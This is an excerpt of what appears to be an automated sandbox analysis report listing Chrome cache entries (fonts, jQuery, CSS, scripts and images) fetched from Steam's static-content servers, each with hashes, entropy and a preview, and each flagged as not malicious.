Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 37x37, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	700
Entropy (8bit):	6.912261889131172
Encrypted:	false
SSDEEP:	12:Ac150Xyose8z9U9lJ93Yu8GxqTXWn+ygiIlqYm3c8VDfTIiGO2OU2Q+GT/lDhWpi:Ac1spMUp93YDGAXWn+IIbmPfMiGO7U2M
MD5:	FAC0B2E3A3EEF22CC8B5D10F740AAA15
SHA1:	2BF712CEAD5B5000EA7C9DF5E7539B01571F4BD8
SHA-256:	525D86CE4631D5494BE8D2174C96241CBC1B7AE03A7093E56019807CB9FEE36A
SHA-512:	EBAD530320AC3CC0329689C6A6615F11AE9CDC28E83E18A44432B95C0EB0220B1D409173BA1A17D1FE9039ED719E5F44E1E431831769F70233BF2A10C265AC37
Malicious:	false
Reputation:	low
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . ..".....................................'..........................!1A..2Qa.."...................................................!1."q............?....p...3B.s9G.MY......o....p2O....T.6....#Z ...[.......0w.5zA+........c_..s.iO.z..g..i1.+4e=...;..q..~......$q...k4y..Q..X'1.5...... .8..=...."<....k.....X.=....Gd.o.6.;G.....L.}....:..5.V..<...%\.*hk....+.@.b@;.....)..R%.N.]....~7..<~_!..6%.u.&W;..0..k\|6..t..uU.....K.C~.....%.......sm<.\|...O.0.t.j.:Vp.....C.O....r.dn5.,..(v....>....;6o.7l.a.^.gn...[>u...Z.<.Cc!.w?..

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	downloaded
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65482), with CRLF line terminators
Category:	dropped
Size (bytes):	93637
Entropy (8bit):	5.292996107428883
Encrypted:	false
SSDEEP:	1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
MD5:	E1288116312E4728F98923C79B034B67
SHA1:	8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
SHA-256:	BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
SHA-512:	BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.8.3 jquery.com \| jquery.org/license /..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e\|\|!e.parentNode\|\|e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t\|\|0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 5 icons, 16x16, 32 bits/pixel, 24x24, 32 bits/pixel
Category:	dropped
Size (bytes):	38554
Entropy (8bit):	7.281917544628079
Encrypted:	false
SSDEEP:	768:PcaDYrV5KBau+3erpKn9jpe7z9mWAFjQcR4D9DQ0LKfjLh:PcsiV5Y+erc9T/H4f0jLh
MD5:	231913FDEBABCBE65F4B0052372BDE56
SHA1:	553909D080E4F210B64DC73292F3A111D5A0781F
SHA-256:	9F890A9DEBCDFCCC339149A7943BE9AFF9E4C9203C2FA37D5671A5B2C88503AD
SHA-512:	7B11B709968C5A52B9B60189FB534F5DF56912417243820E9D1C00C97F4BD6D0835F2CDF574D0C36ECB32DBBF5FC397324DF54F7FDF9E1B062B5DBDA2C02E919
Malicious:	false
Reputation:	low
Preview:	............ .h...V......... ......... .... .....F...00.... ..%............ ..R...D..(....... ..... ..................................u...t...w.H.z...\|..}...}...\|..z...w.I.t...u...........p...f...e...j...k..k...l...m...n...n...n...m..j...e...f...q...Z...Y...]..._...w6...T..{;..`..._..._..._..._..._...]...Y...Z..~K...P...O...{I............P..R...S...S...S...S...S...R..~K..t@.I.Q!.{T.....................M..zF..{H..{H..{H..{H..zG..yE.I..................................zJ$.m9..o;..o<..p<..p<..o;.........................................eM.p@$.c0..d0..d1..d1..............xP<.g9#..hW..........................~o.],..Z(..Z)...j].a7$.P ..O...P ..O.....v..........................dV.O...Q"..F...H...I...I...I...H...Q&...........................H...I...C...C...C...C...C...C...@....rg.......................C...C...?..I>...>...>...>...>...=...Y:*.....................x^Q.<...?..I=...:...:...:...:...:...:...9...mUG.............ti.=...:...=...7...7...6...6...6...6...6...6...4...@%..R:

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 298 x 137, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28667
Entropy (8bit):	7.9837637514425595
Encrypted:	false
SSDEEP:	768:a30Z4XWxlJVZOLiKhwbGUzCbN5gknK0fHcrNS8WVra:aEZ4XWR7OLiKhhhB5BfGNsVra
MD5:	D9871B81A9DAD8ACB788EBC2D3066F72
SHA1:	C5CF4295DB683221688EF2C6F9206C71F34F15AB
SHA-256:	BD837F4A2362D50B85A9C748B8DC9C3AA2F807CB838233DF513DF034DD604998
SHA-512:	CFAE8BD0D9564A5E96454AAAC8DC8CA2BA87CD5DAEB6D27DB26276B34033CF8170337C199CD1025641BE9DD584BD25A4FE6DF7836EBF22E75DCD47A4857DBCBD
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............u.....pHYs.................sRGB.........gAMA......a...o.IDATx..Y.,K.&...G....)...k.....AB..O .....<.........#.+?......!!!$..!...7..{G..............{........>..hLg.....v.4...1.cev....\x..'3.....H...=&.c_.y..c.>v.<......^r.c...).;u.%.._g..q...i.c.x-.N9.R.%..8n.......}I../....#5....%.o..A.b.z..m..K.......k.K...q#..;....'/\.c...n+.n..-h..5.j@.....B.t....1....-.yve...M.-rk.d^.,s...}..;....Dp.^Ku}.$s...wy....a~.c.d..~[:.X...0...bC...+`.a9x.1 1......n_..[.RN\.%...y...=..9...<..^.ob.@S.z..j.....m....h.B.....k.S@D.}...9.v..........{.c.....=+..o.y................V#].K........n......;.}.\|`b.&.8V.u..{..P.M...L....7....N.....P..W..A...o.&.tj.rj...d.).H.....}.s.=.^......u....P?..'..<.=..I....."0....c.C....N.c....s)(....y6..+..../t.........!p..f.....n.O.?..M...%...l}......o.\.X.k.......=N..c..nD.u...TYz.y}...P..a"..#..<6.1..WV..b@.)0.............n.....wi.dP-.Ot.....@.A...u...4..;...m....4..o..&..p.......y...Y.

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65371), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	972384
Entropy (8bit):	5.832227573654786
Encrypted:	false
SSDEEP:	12288:ScMUDNR7fkrf13Y1AXUSkloAXp4IAoRnOSd0k8JFW5qsx:rJKfCGUSkloPzoRnOSZyFW5qsx
MD5:	4F4506F667B9E46FB591B41A4D34E26D
SHA1:	9807327119E84CD8EC7E953E6B2B995775895160
SHA-256:	676BEBD7F2729D5C605505B335F730375AC74880D3903C80393736B263DC0265
SHA-512:	4083E6AAA180EEB0B9F393F072159766B266C8DB8C298F104FD16BF10E2FEB10FD612BA0BEF7B7CD3BB1E8D5C6C0AA20529973683816399D60F582342D357156
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[8997],{41735:(e,t,r)=>{e.exports=r(38681)},61238:(e,t,r)=>{"use strict";var n=r(51362),o=r(65072),i=r(74438),a=r(63724),s=r(47429),l=r(83862),u=r(24508),d=r(38466),c=r(35407),g=r(99461),p=r(97962);e.exports=function(e){return new Promise((function(t,r){var h,f=e.data,_=e.headers,m=e.responseType;function y(){e.cancelToken&&e.cancelToken.unsubscribe(h),e.signal&&e.signal.removeEventListener("abort",h)}n.isFormData(f)&&n.isStandardBrowserEnv()&&delete _["Content-Type"];var b=new XMLHttpRequest;if(e.auth){var v=e.auth.username\|\|"",M=e.auth.password?unescape(encodeURIComponent(e.auth.password)):"";_.Authorization="Basic "+btoa(v+":"+M)}var S=s(e.baseURL,e.url);function L(){if(b){var n="getAllResponseHeaders"in b?l(b.getAllResponseHeaders()):null,i={data:m&&"text"!==m&&"

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33528
Entropy (8bit):	5.2639142464616375
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhxJfS2:FpP1vZRxGLS2
MD5:	E8F16A7B1E543E9ADB78F6E12945515F
SHA1:	47263A98B74A253EA0BF72BFB6525EDC0BACB034
SHA-256:	3D0874AB563803918741EDFD0204AA756DF378544BF81E1874A538B17839500D
SHA-512:	305F068227A7B62BD472B797F6AB7C9C8B9199F7D038013C69F0101425ED364F960A03E3F931BF0A2B5F3BCF21DA174EB02732367AAAE4D9B4D75A9112439EEE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 363

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/account/wallet_icon.png
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 364
